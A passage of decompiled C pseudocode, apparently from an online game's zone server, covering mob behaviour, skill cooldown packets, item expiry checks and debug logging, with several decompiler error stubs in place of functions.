(AxialListIteratorVtbl *)&AxialListRescueRequest::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5D731C: using guessed type int (__stdcall *AxialListRescueRequest___vftable_)(int, int, int distancesquar); //----- (005062D0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_GetTargetInfo(int this, int a2) { int v2; // esi@1 int result; // eax@1 v2 = this; result = (*(int (**)(void))(**(_DWORD **)(this + 8372) + 12))(); if ( result == a2 ) result = (*(int (__thiscall **)(int, int, signed int))(*(_DWORD *)v2 + 2464))(v2, a2, 1); return result; } //----- (00506300) -------------------------------------------------------- char __thiscall ListIteratorDefault::lid_Call(ListIteratorDefault *this, ORColumnHeader *ele, unsigned __int16 handle) { return 1; } //----- (00506310) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_BanByServerDisconnect(int this, int lst, __int16 handle) { int v3; // esi@1 unsigned int v4; // eax@1 char *v5; // eax@1 char *v6; // ST04_4@1 DebugLogging *v7; // eax@1 DebugLogging *v8; // eax@1 v3 = this; v4 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v4; v5 = (char *)&namestring + 256 * v4; *(_DWORD *)v5 = *(_DWORD *)(this + 32025); *((_DWORD *)v5 + 1) = *(_DWORD *)(this + 32029); *((_DWORD *)v5 + 2) = *(_DWORD *)(this + 32033); v6 = v5; *((_DWORD *)v5 + 3) = *(_DWORD *)(this + 32037); v5[16] = 0; v7 = DebugLogging::operator<<(&MoreDisconnectLog, "Char so_ply_BanByServerDisconnect "); v8 = DebugLogging::operator<<(v7, v6); DebugLogging::operator<<(v8, &deb_LF); (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v3 + 1468))(v3, 0); return 1; } //----- (00506390) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_ply_ReinforceRun(int this, int xy, __int16 com, int flag) { int v4; // esi@1 char *v5; // eax@1 DebugLogging *v6; // esi@2 _iobuf *v7; // eax@4 DebugLogging *v8; // esi@6 _iobuf *v9; // eax@8 DebugLogging *v10; // esi@10 _iobuf *v11; // eax@12 DebugLogging *v12; // esi@14 _iobuf *v13; // eax@16 DebugLogging *v14; // esi@18 _iobuf *v15; // eax@20 int v16; // eax@25 int v17; // [sp+Ch] [bp-4h]@1 v4 = this; v17 = this; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = com & 0x3FF | 0x2000; *(_DWORD *)(v5 + 2) = *(_DWORD *)xy; *(_DWORD *)(v5 + 6) = *(_DWORD *)(xy + 4); if ( (**(_DWORD **)(this + 78) - *(_DWORD *)xy) * (**(_DWORD **)(this + 78) - *(_DWORD *)xy) + (*(_DWORD *)(*(_DWORD *)(this + 78) + 4) - *(_DWORD *)(xy + 4)) * (*(_DWORD *)(*(_DWORD *)(this + 78) + 4) - *(_DWORD *)(xy + 4)) > 1000000 ) { v6 = DebugLogging::operator<<(&ReinforceMoveLog, (char *)"["); if ( DebugLogging::dl_ActivAll ) { if ( v6->dl_Activ ) { DebugLogging::dl_FilePoint(v6); v7 = v6->dl_FilePointer; if ( v7 ) fprintf(v7, "%d"); } } v8 = DebugLogging::operator<<(v6, (char *)&stru_5A8D60); if ( DebugLogging::dl_ActivAll ) { if ( v8->dl_Activ ) { DebugLogging::dl_FilePoint(v8); v9 = v8->dl_FilePointer; if ( v9 ) fprintf(v9, "%d"); } } v10 = DebugLogging::operator<<(v8, (char *)&stru_5AB5B0); if ( DebugLogging::dl_ActivAll ) { if ( v10->dl_Activ ) { DebugLogging::dl_FilePoint(v10); v11 = v10->dl_FilePointer; if ( v11 ) fprintf(v11, "%d"); } } v12 = DebugLogging::operator<<(v10, " => "); if ( DebugLogging::dl_ActivAll ) { if ( v12->dl_Activ ) { DebugLogging::dl_FilePoint(v12); v13 = v12->dl_FilePointer; if ( v13 ) fprintf(v13, "%d"); } } v14 = DebugLogging::operator<<(v12, (char *)&stru_5AB5B0); if ( DebugLogging::dl_ActivAll ) { if ( v14->dl_Activ ) { DebugLogging::dl_FilePoint(v14); v15 = v14->dl_FilePointer; if ( v15 ) fprintf(v15, "%d"); } } DebugLogging::operator<<(v14, &deb_LF); v4 = v17; } if ( ProtocolPacket::pp_SetPacketLen(&gpp, 10) ) { v16 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v16 + 12))(v16, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::smo_ply_ReinforceRun : Packet Too Long", 10); } } // 60194C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (005065A0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMobileObject::so_mobile_IsInFear(int this) { return (*(_BYTE *)(this + 7368) >> 2) & 1; } //----- (005065B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineDropItem::so_relink(ShineObjectClass::ShineDoor *this, int flag) { ShineObjectClass::ShineDoor *v2; // eax@1 int v3; // ecx@1 v2 = this; v3 = *(_DWORD *)&this->gap0[98]; if ( v3 ) FieldMap::fm_MoveCenter(v3, *(_DWORD *)&v2->gap0[78]); } //----- (005065D0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_relink(void *this, int flag) { void *v2; // esi@1 int result; // eax@1 int v4; // ecx@1 char buf[62]; // [sp+4h] [bp-44h]@1 v2 = this; result = sprintf(buf, "%p/%p"); v4 = *(_DWORD *)((char *)v2 + 98); if ( v4 ) result = FieldMap::fm_MoveCenter(v4, *(_DWORD *)((char *)v2 + 78)); return result; } //----- (00506620) -------------------------------------------------------- #error "506620: undefined or illegal type '#325' (funcsize=113)" //----- (005067E0) -------------------------------------------------------- #error "5067E0: undefined or illegal type '#325' (funcsize=30)" //----- (00506830) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::smo_ply_WeaponTitleSet(void *this, int mob) { void *v2; // ebx@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_ply_WeaponTitleSet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_ply_WeaponTitleSet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; memcpy((char *)v2 + 5352, ¶meter_eraser_plus, 0xC0u); memcpy((char *)v2 + 5544, ¶meter_eraser_rate, 0xC0u); *((_DWORD *)v2 + 1418) = 0; *((_DWORD *)v2 + 1419) = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_ply_WeaponTitleSet"); } //----- (005068C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_WeaponTitleOption(void *this, unsigned __int8 reference, unsigned __int16 type, int value) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_WeaponTitleOption"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_WeaponTitleOption"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( reference ) { if ( reference == 1 ) { if ( type == 1 ) *((_DWORD *)v4 + 1418) += value; else AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_WeaponTitleOption : Invalid type in WEAPON_TITLE_DATA::ABSTATE", type); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_WeaponTitleOption : Invalid reference", reference); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_WeaponTitleOption"); } //----- (005069A0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineEffectObject::so_Routine(ShineObjectClass::ShineEffectObject *this, List *lst, unsigned __int16 handle) { int v3; // esi@1 int v4; // eax@1 int v5; // ecx@2 unsigned int v6; // eax@5 int v7; // edi@6 v3 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineEffectObject::so_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineEffectObject::so_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *(_DWORD *)(v3 + 98); if ( v4 ) { v5 = *(_DWORD *)(v3 + 78); if ( *(_DWORD *)v5 >= *(_DWORD *)(v4 + 24) || *(_DWORD *)(v5 + 4) >= *(_DWORD *)(v4 + 28) ) { AssertClass::ac_AssertFail(&shineassert, "fm_IsInFieldSize : Effect", 0); *(_DWORD *)(v3 + 172) = 0; } } v6 = *(_DWORD *)(v3 + 201); if ( clockwatch.cw_CurrTick > v6 ) { *(_DWORD *)(v3 + 201) = v6 + *(_DWORD *)(v3 + 205); v7 = *(_DWORD *)(v3 + 197); if ( v7 ) { if ( (unsigned int)ShineObjectClass::ShineObject::so_DistanceSquar(v3, *(_DWORD *)(v3 + 197)) > 0x64 ) ShineObjectClass::ShineObject::so_MoveTo(v3, **(_DWORD **)(v7 + 78), *(_DWORD *)(*(_DWORD *)(v7 + 78) + 4), 5); } } if ( clockwatch.cw_CurrTick >= *(_DWORD *)(v3 + 172) ) { (*(void (__thiscall **)(int, _DWORD, signed int, signed int))(*(_DWORD *)v3 + 828))(v3, 0, 1, 3); ShineObjectManager::som_FreeObject(&shineobjmanager, *(_WORD *)(v3 + 4), 0, 5); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineEffectObject::so_Routine"); return 1; } // 43A170: using guessed type int __thiscall ShineObjectClass__ShineObject__so_MoveTo(_DWORD, _DWORD, _DWORD, _DWORD); //----- (00506AE0) -------------------------------------------------------- #error "506AE0: undefined or illegal type '#325' (funcsize=85)" //----- (00506C20) -------------------------------------------------------- #error "506C20: undefined or illegal type '#325' (funcsize=653)" //----- (00507530) -------------------------------------------------------- #error "507530: undefined or illegal type '#325' (funcsize=56)" //----- (00507620) -------------------------------------------------------- #error "507620: undefined or illegal type '#325' (funcsize=147)" //----- (00507800) -------------------------------------------------------- #error "507800: undefined or illegal type '#325' (funcsize=189)" //----- (00507AA0) -------------------------------------------------------- #error "507AA0: undefined or illegal type '#740' (funcsize=129)" //----- (00507C80) -------------------------------------------------------- #error "507C80: undefined or illegal type '#325' (funcsize=78)" //----- (00507DA0) -------------------------------------------------------- #error "507DA0: undefined or illegal type '#325' (funcsize=77)" //----- (00507ED0) -------------------------------------------------------- #error "507ED0: undefined or illegal type '#325' (funcsize=34)" //----- (00507F70) -------------------------------------------------------- #error "507F70: undefined or illegal type '#434' (funcsize=37)" //----- (00508020) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::so_RescueRoutine(void *this) { void *v1; // esi@1 unsigned __int16 v2; // ax@3 unsigned __int16 v3; // di@3 char v4; // al@8 char *v5; // [sp-18h] [bp-30h]@0 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_RescueRoutine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_RescueRoutine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (unsigned __int8)(*(int (**)(void))(**((_DWORD **)v1 + 2207) + 1136))() == 2 ) { v2 = (*(int (**)(void))(**((_DWORD **)v1 + 2207) + 1788))(); v3 = v2; if ( v2 == -1 ) { *((_DWORD *)v1 + 2207) = 0; *((_DWORD *)v1 + 2208) = 60000; } else { if ( ShineObjectManager::som_GetObject(&shineobjmanager, v2) != 0 ) { if ( *((_DWORD *)v1 + 2208) > (unsigned int)(*(int (**)(void))(**((_DWORD **)v1 + 2207) + 1236))() ) { (*(void (__thiscall **)(void *))(*(_DWORD *)v1 + 1708))(v1); *((_DWORD *)v1 + 2208) = (*(int (**)(void))(**((_DWORD **)v1 + 2207) + 1236))(); v4 = *((_BYTE *)v1 + 8824); if ( !(v4 & 4) ) { if ( v4 & 2 ) MobChat::MobChatManager::mcm_HelpAckChat(&mobchatman); else MobChat::MobChatManager::mcm_DetectBattleChat(&mobchatman); *((_BYTE *)v1 + 8824) |= 4u; } } } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineMob::so_RescueRoutine : Null target", v3); *((_DWORD *)v1 + 2207) = 0; *((_DWORD *)v1 + 2208) = 60000; } } v5 = "ShineObjectClass::ShineMob::so_RescueRoutine"; } else { *((_DWORD *)v1 + 2207) = 0; *((_DWORD *)v1 + 2208) = 60000; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v5); } //----- (005081A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::SkillCastStruct::scs_Clear(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::SkillCastStruct::scs_Clear"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::SkillCastStruct::scs_Clear"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_DWORD *)v1 = 0; *((_DWORD *)v1 + 2) = 0; *((_DWORD *)v1 + 4) = 0; *((_DWORD *)v1 + 3) = 0; *((_DWORD *)v1 + 5) = 0; *((_DWORD *)v1 + 6) = 0; *((_DWORD *)v1 + 8) = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::SkillCastStruct::scs_Clear"); } //----- (00508210) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_NewSkillCoolTime(void *this, __int16 skl, int sec) { void *v3; // esi@1 char *v4; // eax@1 int v5; // eax@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_NewSkillCoolTime"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_NewSkillCoolTime"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 18465; *((_DWORD *)v4 + 1) = sec; *((_WORD *)v4 + 1) = skl; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 8) ) { v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 764))(v3); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v5 + 12))(v5, v3, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_NewSkillCoolTime : Packet Too Long", 8); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_NewSkillCoolTime"); } //----- (00508300) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::smo_RunInFear(void *this) { void *v1; // ebx@1 bool v2; // zf@1 unsigned int v3; // eax@5 __int64 v4; // qax@5 int v5; // esi@5 signed int v6; // edx@5 int v7; // edi@5 int v8; // eax@5 int v9; // ecx@5 char *v10; // [sp+0h] [bp-30h]@4 SHINE_XY_TYPE locate; // [sp+14h] [bp-1Ch]@5 SHINE_XY_TYPE xy; // [sp+1Ch] [bp-14h]@5 int v13; // [sp+2Ch] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_RunInFear"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_RunInFear"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_WORD *)v1 + 3564) == 29203; v13 = 0; if ( !v2 ) *((_DWORD *)v1 + 1781) = 0; if ( *((_DWORD *)v1 + 43) <= 0u ) { v3 = rndbox.rb_box[64].rs_point.mask & (rndbox.rb_box[64].rs_point.value + 1); rndbox.rb_box[64].rs_point.value = v3; v4 = 180 * rndbox.rb_box[64].rs_slot[v3]; v5 = ((BYTE4(v4) & 0x3F) + (signed int)v4) >> 6; v6 = (signed int)((unsigned __int64)(1717986919i64 * 3200 * ShineRadian::sr_sin1024(&shineradian, v5) / 1024) >> 32) >> 2; v7 = v6 + ((unsigned int)v6 >> 31); v8 = ShineRadian::sr_cos1024(&shineradian, v5); v9 = *(_DWORD *)((char *)v1 + 78); locate.x = v7 + *(_DWORD *)v9; locate.y = 3200 * v8 / 1024 / 10 + *(_DWORD *)(v9 + 4); if ( ShineObjectClass::ShineObject::so_FindBlockLocate( v1, (int)&locate, 450, (int)&xy, (int (__thiscall *)(_DWORD, _DWORD, _DWORD))MapBlock::MapBlockInformation::mbi_IsMoveBlock) ) (*(void (__thiscall **)(void *, SHINE_XY_TYPE *, signed int, signed int, signed int, signed int))(*(_DWORD *)v1 + 1420))( v1, &xy, 26, 73, 2, 2); v10 = "ShineObjectClass::ShineMobileObject::smo_RunInFear"; } else { MoveManager::mm_Step((MoveManager *)((char *)v1 + 140), 0); v10 = "ShineObjectClass::ShineMobileObject::smo_RunInFear"; } --funcallanalizer.fca_stackpoint; v13 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v10); } //----- (00508490) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::so_MoveByServer(void *this, int xy, __int16 someone, int me, int mm, int flag) { void *v6; // edi@1 int v7; // edx@1 unsigned __int16 v8; // ax@2 char *v9; // esi@4 int v10; // eax@4 int v11; // ecx@4 __int16 v12; // ax@5 int v13; // ST04_4@7 int v14; // eax@7 AxialListPacketBroadcast alchat; // [sp+2Ch] [bp-18h]@7 int v16; // [sp+40h] [bp-4h]@1 v6 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_MoveByServer"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_MoveByServer"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v7 = *(_DWORD *)v6; v16 = 0; (*(void (__thiscall **)(void *))(v7 + 2700))(v6); if ( mm == 2 ) v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v6 + 1284))(v6); else v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v6 + 1280))(v6); (*(void (__thiscall **)(void *, int, _DWORD, int, _DWORD))(*(_DWORD *)v6 + 1560))(v6, xy, v8, mm, 0); v9 = gpp.pp_Buffer + 2; *(_WORD *)gpp.pp_Buffer = someone & 0x3FF | 0x2000; *(_WORD *)v9 = *((_WORD *)v6 + 2); v10 = *(_DWORD *)((char *)v6 + 78); *(_DWORD *)(v9 + 2) = *(_DWORD *)v10; *(_DWORD *)(v9 + 6) = *(_DWORD *)(v10 + 4); *(_DWORD *)(v9 + 10) = *(_DWORD *)xy; v11 = *(_DWORD *)(xy + 4); v9[20] &= 0xFEu; *(_DWORD *)(v9 + 14) = v11; if ( mm == 2 ) v12 = (*(int (__thiscall **)(void *))(*(_DWORD *)v6 + 1284))(v6); else v12 = (*(int (__thiscall **)(void *))(*(_DWORD *)v6 + 1280))(v6); *((_WORD *)v9 + 9) = v12; *((_WORD *)v6 + 51) = me; *((_DWORD *)v6 + 26) = *(_DWORD *)v9; *((_DWORD *)v6 + 27) = *((_DWORD *)v9 + 1); *((_DWORD *)v6 + 28) = *((_DWORD *)v9 + 2); *((_DWORD *)v6 + 29) = *((_DWORD *)v9 + 3); *((_DWORD *)v6 + 30) = *((_DWORD *)v9 + 4); *((_WORD *)v6 + 62) = *((_WORD *)v9 + 10); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 24); v13 = *(_DWORD *)((char *)v6 + 78); LOBYTE(v16) = 1; v14 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v6, v14, v13, 0, 0, (int)&alchat, 0, 65535); LOBYTE(v16) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); (*(void (__thiscall **)(void *, int, int, int))(*(_DWORD *)v6 + 2672))(v6, xy, me, flag); --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_MoveByServer"); } //----- (00508650) -------------------------------------------------------- ShineObjectClass::ShinePlayer::TimeScheduler::TS_ReturnType __thiscall ShineObjectClass::ShinePlayer::TimeScheduler::ts_TimerCheck(ShineObjectClass::ShinePlayer::TimeScheduler *this, #434 *sp) { ShineObjectClass::ShinePlayer::TimeScheduler *v2; // esi@1 ShineObjectClass::ShinePlayer::TimeScheduler::TS_ReturnType v3; // esi@2 ShineObjectClass::ShinePlayer::TimeScheduler::TS_ReturnType (__thiscall *v4)(#434 *); // eax@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::TimeScheduler::ts_TimerCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::TimeScheduler::ts_TimerCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( clockwatch.cw_CurrTick >= v2->ts_Limit ) { v4 = v2->ts_CallFunc; v2->ts_Limit = 0; v2->ts_CurWork = 0; v2->ts_CallFunc = (ShineObjectClass::ShinePlayer::TimeScheduler::TS_ReturnType (__thiscall *)(#434 *))ShineObjectClass::ShineObject::so_mob_SetWeaponAniTime; v2->ts_TimerFunc = (ShineObjectClass::ShinePlayer::TimeScheduler::TS_ReturnType (__thiscall *)(ShineObjectClass::ShinePlayer::TimeScheduler *, #434 *))ShineObjectClass::ShineObject::so_mh_PortalOpen; v3 = (int)v4(sp); } else { v3 = v2->ts_DefaultReturn; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::TimeScheduler::ts_TimerCheck"); return v3; } //----- (00508710) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::TimeScheduler::TimeScheduler(ShineObjectClass::ShinePlayer::TimeScheduler *this) { this->ts_Limit = 0; this->ts_CallFunc = (ShineObjectClass::ShinePlayer::TimeScheduler::TS_ReturnType (__thiscall *)(#434 *))ShineObjectClass::ShineObject::so_mob_SetWeaponAniTime; this->ts_TimerFunc = (ShineObjectClass::ShinePlayer::TimeScheduler::TS_ReturnType (__thiscall *)(ShineObjectClass::ShinePlayer::TimeScheduler *, #434 *))ShineObjectClass::ShineObject::so_mh_PortalOpen; this->ts_CurWork = 0; } //----- (00508730) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SmallItemActivCheck(void *this, int a2, __int16 a3) { int v3; // edi@1 int v4; // esi@1 int v5; // eax@1 int v6; // eax@3 ItemInform_ActionItem *v7; // ebp@3 ItemAttributeClassContainer *v8; // ebx@4 ShineDateTime *v9; // eax@7 unsigned __int16 v10; // ax@9 CIDEB_Element *v11; // eax@9 ChargedItemEffect *v12; // eax@10 unsigned __int16 v13; // ax@11 int v14; // eax@13 int v15; // ecx@13 int v16; // esi@14 int v17; // eax@14 char *v18; // esi@14 int v19; // eax@14 int v20; // eax@14 char v21; // al@14 ZoneBaseSession *v22; // eax@15 int (__thiscall **v23)(_DWORD, _DWORD); // eax@17 int v24; // eax@17 char flag[4]; // [sp+28h] [bp-B4h]@1 int v26; // [sp+2Ch] [bp-B0h]@1 int v27; // [sp+30h] [bp-ACh]@7 int v28; // [sp+34h] [bp-A8h]@1 tm tb; // [sp+38h] [bp-A4h]@13 ItemTotalInformation iti; // [sp+5Ch] [bp-80h]@14 unsigned int v31; // [sp+CCh] [bp-10h]@18 int v32; // [sp+D8h] [bp-4h]@1 v3 = (int)this; v26 = (int)this; v28 = (int)"ShineObjectClass::ShinePlayer::sp_ActionItemActivCheck"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ActionItemActivCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_ActionItemActivCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = a2; v5 = *(_DWORD *)a2; v32 = 0; *(_WORD *)flag = a3 << 10; if ( (*(int (__thiscall **)(int))(v5 + 8))(a2) > 0 ) { do { if ( !(unsigned __int8)(*(int (__thiscall **)(int, char *))(*(_DWORD *)(v3 + 57736) + 8))(v3 + 57736, flag) ) { v6 = (**(int (__thiscall ***)(_DWORD, _DWORD))v4)(v4, *(_WORD *)flag & 0x3FF); v7 = (ItemInform_ActionItem *)v6; if ( v6 ) { v8 = *(ItemAttributeClassContainer **)(v6 + 16); if ( !v8 ) v8 = &itmattcontainer; if ( ItemInventoryCell::iic_ItemIdent((ItemInform_ActionItem *)v6) != -1 ) { v9 = ItemInform_ActionItem::sii_GetDeteleDateTime(v7); v27 = (int)v9; if ( v9 ) { if ( !LOBYTE(v9->_bf0) ) { v10 = ItemInventoryCell::iic_ItemIdent(v7); v11 = ChargedItemEffectDataBox::cideb_GetItemID(&chargedbuffdatabox, v10); if ( v11 ) { v12 = v11->ce_Data; if ( v12 ) { v13 = v12->KeepTime_Hour; if ( v13 ) { memcpy((void *)&tb, &stru_81EC6C, sizeof(tb)); tb.tm_hour = v13 + (((unsigned int)chargeditemcheck._bf0 >> 19) & 0x3F); mktime(&tb); v14 = v27; v15 = tb.tm_min; *(_BYTE *)v27 = LOBYTE(tb.tm_year) - 100; v3 = v26; *(_DWORD *)v14 = *(_DWORD *)v14 & 0xFF | ((LOWORD(tb.tm_mon) + 1) << 8) & 0x1F00 | ((tb.tm_mday & 0x3F | ((tb.tm_hour & 0x3F | (v15 << 6)) << 6)) << 13); } else { *(_DWORD *)v27 = 1992027391; } MoveManager::MoveManager((DiceTaiSai *)v7); MoveManager::MoveManager((DiceTaiSai *)v7); ItemInventoryCell::iic_ItemIdent(v7); ItemInform_ActionItem::sii_Export(v7, &iti); v16 = *(_DWORD *)(v3 + 57736); LOWORD(v17) = ShineObjectClass::ShineObject::so_GetZoneHandle_ItemLooter(v3 + 57736); (*(void (__thiscall **)(int, int, char *, ItemTotalInformation *))(v16 + 52))( v3 + 57736, v17, flag, &iti); v18 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13385; *((_WORD *)v18 + 1) = *(_WORD *)(v3 + 4); *((_DWORD *)v18 + 1) = (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 836))(v3); *((_WORD *)v18 + 4) = ShineObjectClass::ShineObject::so_GetZoneHandle_ItemLooter(v3 + 57736); *(_DWORD *)(v18 + 10) = tb.tm_yday; *(_DWORD *)(v18 + 14) = tb.tm_isdst; *((_WORD *)v18 + 9) = *(_WORD *)&iti; memcpy(v18 + 20, &iti.iti_registnum.binary.gap0[2], 0x64u); v18[120] = HIBYTE(iti.iti_itemstruct.itemattr.binditem.portal[9].mapid); v8->iacc_default.vfptr->iac_GetAttrSize( (ItemAttributeClass *)v8, (SHINE_ITEM_ATTRIBUTE *)&iti.iti_registnum.binary.gap0[2]); v19 = v8->iacc_default.vfptr->iac_GetAttrSize( (ItemAttributeClass *)v8, (SHINE_ITEM_ATTRIBUTE *)&iti.iti_registnum.binary.gap0[2]); v20 = ((int (__thiscall *)(ItemAttributeClassContainer *, _BYTE *, _DWORD, int))v8->iacc_default.vfptr->iac_GetAttrSize)( v8, &iti.iti_registnum.binary.gap0[2], "ShineObjectClass::ShinePlayer::sp_MiniHouseActCheck : Packet Too Long", v19 + 20); v21 = ProtocolPacket::pp_SetPacketLen(&gpp, v20 + 20); if ( !AssertClass::operator__(&shineassert, (unsigned __int8)v21, flag, (int)flag) ) { v22 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v22); } InventoryLocking::InventoryCellLock::icl_IncIndex((InventoryLocking::InventoryCellLock *)(v26 + 57736)); v4 = a2; v3 = v26; } } } } } } } v23 = *(int (__thiscall ***)(_DWORD, _DWORD))v4; *(_WORD *)flag ^= (*(_WORD *)flag ^ (*(_WORD *)flag + 1)) & 0x3FF; v24 = ((int (__thiscall *)(int))v23[2])(v4); } while ( (*(_WORD *)flag & 0x3FF) < v24 ); } --funcallanalizer.fca_stackpoint; v32 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ActionItemActivCheck"); __security_check_cookie(v31); } //----- (00508A90) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SmallItemDelete(void *ecx0, ItemInform_ActionItem *this, __int16 a3, __int16 a4, int a5) { void *v5; // esi@1 int v6; // eax@2 unsigned int v7; // ecx@2 char *v8; // ecx@2 int v9; // eax@2 __int16 v10; // [sp+4h] [bp-88h]@2 int v11; // [sp+8h] [bp-84h]@1 ItemTotalInformation iti; // [sp+Ch] [bp-80h]@2 unsigned int v13; // [sp+7Ch] [bp-10h]@3 int v14; // [sp+88h] [bp-4h]@1 v5 = ecx0; v11 = 